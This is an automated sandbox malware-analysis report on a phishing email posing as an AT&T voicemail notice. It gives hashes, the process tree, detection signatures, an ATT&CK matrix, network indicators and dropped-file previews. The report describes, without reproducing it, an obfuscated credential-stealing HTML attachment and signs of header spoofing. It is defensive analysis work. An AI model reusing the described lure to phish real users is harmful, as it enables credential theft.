Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
20250304_150220_TA6NsGnFKBQP6WuMJfIAtA3XK3ok9HgQ.eml

Overview

General Information

Sample name:20250304_150220_TA6NsGnFKBQP6WuMJfIAtA3XK3ok9HgQ.eml
Analysis ID:1635328
MD5:534c66c925d1aa2bff10acf060c776fd
SHA1:c76867949581f15900317216215f549b2959131a
SHA256:c5a1c37fb023d2fc386b20b0a46fcbf76e4d794711d50a3a84d2f46754fc50cc
Infos:

Detection

Score:48
Range:0 - 100
Confidence:100%

Signatures

AI detected suspicious elements in Email content
AI detected suspicious elements in Email header
Detected non-DNS traffic on DNS port
Queries the volume information (name, serial number etc) of a device
Sigma detected: Office Autorun Keys Modification
Stores large binary data to the registry

Classification

Process Tree

  • System is w11x64_office
  • OUTLOOK.EXE (PID: 5072 cmdline: "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\20250304_150220_TA6NsGnFKBQP6WuMJfIAtA3XK3ok9HgQ.eml" MD5: 7F59D020035411A4BCF731A8320581A4)
    • ai.exe (PID: 3620 cmdline: "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exe" "D1542569-9C19-418E-BB3A-5D1660B5B765" "7B673E28-5B1B-4E61-97F1-DAE7176544D8" "5072" "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: 0ED71A2D20424DC7942E810F359DA066)
  • cleanup

Yara Signatures

⊘No yara matches

Sigma Signatures

Sigma detected: Office Autorun Keys Modification
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 5072, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Addins\AdobeAcroOutlook.SendAsLink\1

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

barindex
AI detected suspicious elements in Email content
Source: EmailJoe Sandbox AI: Detected potential phishing email: The email contains obfuscated malicious JavaScript code attempting to execute arbitrary functions. The sender domain (bttwpg.com) is suspicious and doesn't match with claimed AT&T voicemail service. The attachment naming pattern (AT&T_Msg_-876.html) is suspicious and likely contains malicious code
AI detected suspicious elements in Email header
Source: EmailJoe Sandbox AI: Detected suspicious elements in Email header: Proofpoint explicitly marked as phishing with high score (phishscore=100). Suspicious localhost [127.0.0.1] sender but actual IP is 139.64.164.134, indicating header manipulation. PTR record shows 'InfoDomainNonexistent' indicating missing/invalid reverse DNS. High MLX log score (144) and CLX score (234) from Proofpoint. Anonymous cross-tenant authentication (x-ms-exchange-crosstenant-authas: Anonymous). Impostor and unknown sender scores present in Proofpoint details. Domain age appears relatively new based on Proofpoint scan (domainage_hfrom=1883). Multiple security systems (Proofpoint, Microsoft) showing suspicious indicators
Source: EmailClassification: Credential Stealer
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: global trafficTCP traffic: 192.168.2.24:55420 -> 1.1.1.1:53
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: classification engineClassification label: mal48.winEML@3/4@0/31
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEFile created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEFile created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_18129_20158-20250311T1039340137-5072.etl
Source: unknownProcess created: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\20250304_150220_TA6NsGnFKBQP6WuMJfIAtA3XK3ok9HgQ.eml"
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exe "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exe" "D1542569-9C19-418E-BB3A-5D1660B5B765" "7B673E28-5B1B-4E61-97F1-DAE7176544D8" "5072" "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess created: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exe "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exe" "D1542569-9C19-418E-BB3A-5D1660B5B765" "7B673E28-5B1B-4E61-97F1-DAE7176544D8" "5072" "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: apphelp.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: c2r64.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: vcruntime140_1.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: msvcp140.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: userenv.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: msasn1.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: cryptsp.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: rsaenh.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: cryptbase.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: gpapi.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: version.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: windows.storage.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: wintypes.dll
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeSection loaded: profapi.dll
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEWindow found: window name: SysTabControl32
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEKey value created or modified: HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Immersive\production\Token\{2B379600-B42B-4FE9-A59C-A312FB934935} DeviceTicket
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEFile Volume queried: C:\Windows\System32 FullSizeInformation
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXEProcess information queried: ProcessInformation
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeQueries volume information: C:\Program Files\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation
Source: C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\AI\ai.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management Instrumentation11
Browser Extensions		1
Process Injection		1
Masquerading		OS Credential Dumping1
Process Discovery		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/Job1
DLL Side-Loading		1
DLL Side-Loading		1
Modify Registry		LSASS Memory13
System Information Discovery		Remote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
Process Injection		Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
DLL Side-Loading		NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
a726.dscd.akamai.net
2.19.11.111
truefalse
    		high
    s-0005.dual-s-msedge.net
    		52.123.128.14
    		truefalse
      		high

      World Map of Contacted IPs

      • No. of IPs < 25%
      • 25% < No. of IPs < 50%
      • 50% < No. of IPs < 75%
      • 75% < No. of IPs

      Public IPs

      IPDomainCountryFlagASNASN NameMalicious
      2.19.11.111
      		a726.dscd.akamai.netEuropean Union
      		719ELISA-ASHelsinkiFinlandEUfalse
      20.42.65.85
      		unknownUnited States
      		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
      52.123.128.14
      		s-0005.dual-s-msedge.netUnited States
      		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse

      General Information

      Joe Sandbox version:42.0.0 Malachite
      Analysis ID:1635328
      Start date and time:2025-03-11 15:38:08 +01:00
      Joe Sandbox product:CloudBasic
      Overall analysis duration:
      Hypervisor based Inspection enabled:false
      Report type:full
      Cookbook file name:defaultwindowsinteractivecookbook.jbs
      Analysis system description:Windows 11 23H2 with Office Professional Plus 2021, Chrome 131, Firefox 133, Adobe Reader DC 24, Java 8 Update 431, 7zip 24.09
      Run name:Potential for more IOCs and behavior
      Number of analysed new started processes analysed:15
      Number of new started drivers analysed:0
      Number of existing processes analysed:0
      Number of existing drivers analysed:0
      Number of injected processes analysed:0
      Technologies:
      • EGA enabled
      Analysis Mode:stream
      Analysis stop reason:Timeout
      Sample name:20250304_150220_TA6NsGnFKBQP6WuMJfIAtA3XK3ok9HgQ.eml
      Detection:MAL
      Classification:mal48.winEML@3/4@0/31
      Cookbook Comments:
      • Found application associated with file extension: .eml

      Warnings

      • Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe
      • Excluded IPs from analysis (whitelisted): 104.18.38.233, 172.64.149.23
      • Excluded domains from analysis (whitelisted): crt.comodoca.com.cdn.cloudflare.net, crt.comodoca.com
      • Not all processes where analyzed, report is missing behavior information
      • Report size getting too big, too many NtQueryAttributesFile calls found.
      • Report size getting too big, too many NtQueryValueKey calls found.

      Created / dropped Files

      C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_18129_20158-20250311T1039340137-5072.etl

      Download File
      Process:C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
      File Type:data
      Category:modified
      Size (bytes):106496
      Entropy (8bit):4.439856984489025
      Encrypted:false
      SSDEEP:
      MD5:C00B90840A1A0B2B9B02433C12DCBDB0
      SHA1:FD61645D36F993EDE9C0B5785AF992A2964EA37C
      SHA-256:3BA35C1BF3277F52A66E05EA4F6BB60871984FB992409DD905D35D3FB99FD446
      SHA-512:092D5265D5BC8F3DE66D757EC8D0F69100E7D416BE3C3C6A0A3C329272D16C070B912C058B97CAAD9A49CA64E399E830370F45155A753468671A3D32E6986B6B
      Malicious:false
      Reputation:unknown
      Preview:............................................................................j...........F\.h....................gX..............Zb..2...........................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1................................................................r..........F\.h............v.2._.O.U.T.L.O.O.K.:.1.3.d.0.:.4.c.7.7.8.0.e.a.a.a.7.a.4.5.4.b.9.b.d.3.e.1.0.1.7.b.3.0.f.b.9.1...C.:.\.U.s.e.r.s.\.M.a.o.g.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.8.1.2.9._.2.0.1.5.8.-.2.0.2.5.0.3.1.1.T.1.0.3.9.3.4.0.1.3.7.-.5.0.7.2...e.t.l.............P.P.........G..h............................................................................................................................................................................................................................................................................................

      C:\Users\user\AppData\Local\Temp\prep___Program Files_Microsoft Office_root_Office16_AugLoop_bundle_js_V8_perf.cache

      Download File
      Process:C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
      File Type:data
      Category:dropped
      Size (bytes):629547
      Entropy (8bit):5.8330723381337535
      Encrypted:false
      SSDEEP:
      MD5:0733C1C226E119782AE8E03F06A497DB
      SHA1:02744CC69EE22E3025954011457B1D19AEDE84D5
      SHA-256:F75CBE06E35AF43FB58FD03E75DC9F0E5FAB10BFFF37B4E75363133175E6E94F
      SHA-512:5DBCD97D8E12499BA41ECFC1B3FE055177B14AC8184AC312A527FB051D265B42832673FB487C94D4D15FB19888CB8E082E1E024A46F2B911FCEBD1D5FAA48C79
      Malicious:false
      Reputation:unknown
      Preview:RNWPREP.....&.0.[.X............JKC...iMbg,...NJ."m?.m................q...[ d..w.w............,T.0..`......L`.....,T...`bw.....L`.....a.Sb.................c.@........... ...D..Rb...2....ey..`.....D..Rb........MM..`l.....Rb.@......zk..`......Rb.@R.....bk..`P.....Rb".iS....el..`......Rb"@.j....hp..`.....D..Rb..sS....es..`.....D..Rb:@@.....Hb..`......D..Rbn@......Cv..`v.....Rbn@.}....Yd..`&....D..Rbz.(.....UT..`......Rbz.\.....Zo..`.....D..Rb.@u.....TT..`.....D..Rb..p.....Hx..`.....D..Rb........Pi..`z....D..Rb........Ch..`.....D..Rb.......O_..`p.....Rb........xv..`.....D..Rb..[p....Ql..`:....D..Rb.......ZA..`T....D..Rb.@......At..`......Rb...^....Yk..`.....D..Rb........Wu..`2....D..Rb........wy..`......Rb...k....Sm..`@....D..Rb...@....us..`j.....Rb........Ln..`6....D..Rb".......AC..`.....D..Rb..c.....Vk..`.....D..Rb6.......IM..`<....D..RbN..6....Ti..`&....D..Rbj.q.....Gy..`......RbjA......XC..`J....D..RbzA......fn..`......Rbz..h....Bd..`......Rb.Am.....Uh..`.....D..Rb.......xC..`..

      C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

      Download File
      Process:C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
      File Type:Microsoft Outlook email folder (>=2003)
      Category:dropped
      Size (bytes):271360
      Entropy (8bit):2.47199101270126
      Encrypted:false
      SSDEEP:
      MD5:B54B1CAD3E41B1859A60A028E0B186CE
      SHA1:B5DB5613AB0E7B21E278AE6F5C3A8955CE623BD6
      SHA-256:A39FC5201005CCA65C3994E7CAE97A3F147EE5814B5CC7A44378E6C7D0C37D48
      SHA-512:983F2A1E63F4D563247FE00FDB967A3BA44983461DBC017700AE7492478D1E19D7436812D9EF82C52437E89410C085989D9488E8C27661A180EEB96DF8F59BBC
      Malicious:true
      Reputation:unknown
      Preview:!BDN.U.oSM......x...X...................Z................@...........@...@...................................@...........................................................................$.......D...............................N..................................................................................................................................................................................................................................................................................................p........n.v<......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

      C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

      Download File
      Process:C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
      File Type:data
      Category:dropped
      Size (bytes):131072
      Entropy (8bit):3.0525359745682152
      Encrypted:false
      SSDEEP:
      MD5:526C2D90B1D9AC2244D49CB896ED6A87
      SHA1:33888E460E86ADFF959C34D16B461E78E5ABF485
      SHA-256:3AD6B0783B6E6551DB39D94629BA3E0FFCB03E3CC442DA6B8DC3523137574B52
      SHA-512:17EBA71FAC14AAA967FD345D7EE81CF886B07CF6033B28BC767DB2877CBED754412284151786BD61640AACD2C785B4DE116246B674BC0718A0B869550553163F
      Malicious:true
      Reputation:unknown
      Preview:&{=.C...j.............{g......................#.!BDN.U.oSM......x...X...................Z................@...........@...@...................................@...........................................................................$.......D...............................N..................................................................................................................................................................................................................................................................................................p........n.v<....{g.........B............#.........................................................................................................................................................................................................................................................................................................................................................................................................

      Static File Info

      General

      File type:ASCII text, with very long lines (347)
      Entropy (8bit):5.9071499532941045
      TrID:
        File name:20250304_150220_TA6NsGnFKBQP6WuMJfIAtA3XK3ok9HgQ.eml
        File size:17'804 bytes
        MD5:534c66c925d1aa2bff10acf060c776fd
        SHA1:c76867949581f15900317216215f549b2959131a
        SHA256:c5a1c37fb023d2fc386b20b0a46fcbf76e4d794711d50a3a84d2f46754fc50cc
        SHA512:4c54e82d16b492af7a5380d10d59d5e36948e91310c0a183539af70392466f90c6a0b1e05daa18e811ae2b214ce87da01a6db6363d72f6fcfe8ef90354967a07
        SSDEEP:384:gBbkrP5Wd7kOzfVvIq0000000001iSp+Q/obeiNmx3vB+:g5krPId71zNQfxp+Q/obeHx3g
        TLSH:5982F50768D7171364ADCC986B02BA3A3F27309D436D8770D895322DCBB5C9A760B6F8
        File Content Preview:X-Proofpoint-Sentinel: stfjE/YoUs+L4Pf3aMUjFFhU4RUElp63eN6CLTQPYMkxpDJTYWx0ZWRfX/h. clIAYlN4TbVyYB786alypxQg0s3xtFxTVqonn3yQNMUUi7kB387Zlg2n9zl8tkoaG4Id6+GJFnvM. dyVXpVjt8NdbHK9aWJuDOuViV1H13FplmUUrbE2DaHH/3lHXBjDz8NQeHeWGOaGqAnUnNnWPr/rc. lcI4q9KiRJOhYDm

        Static Mail

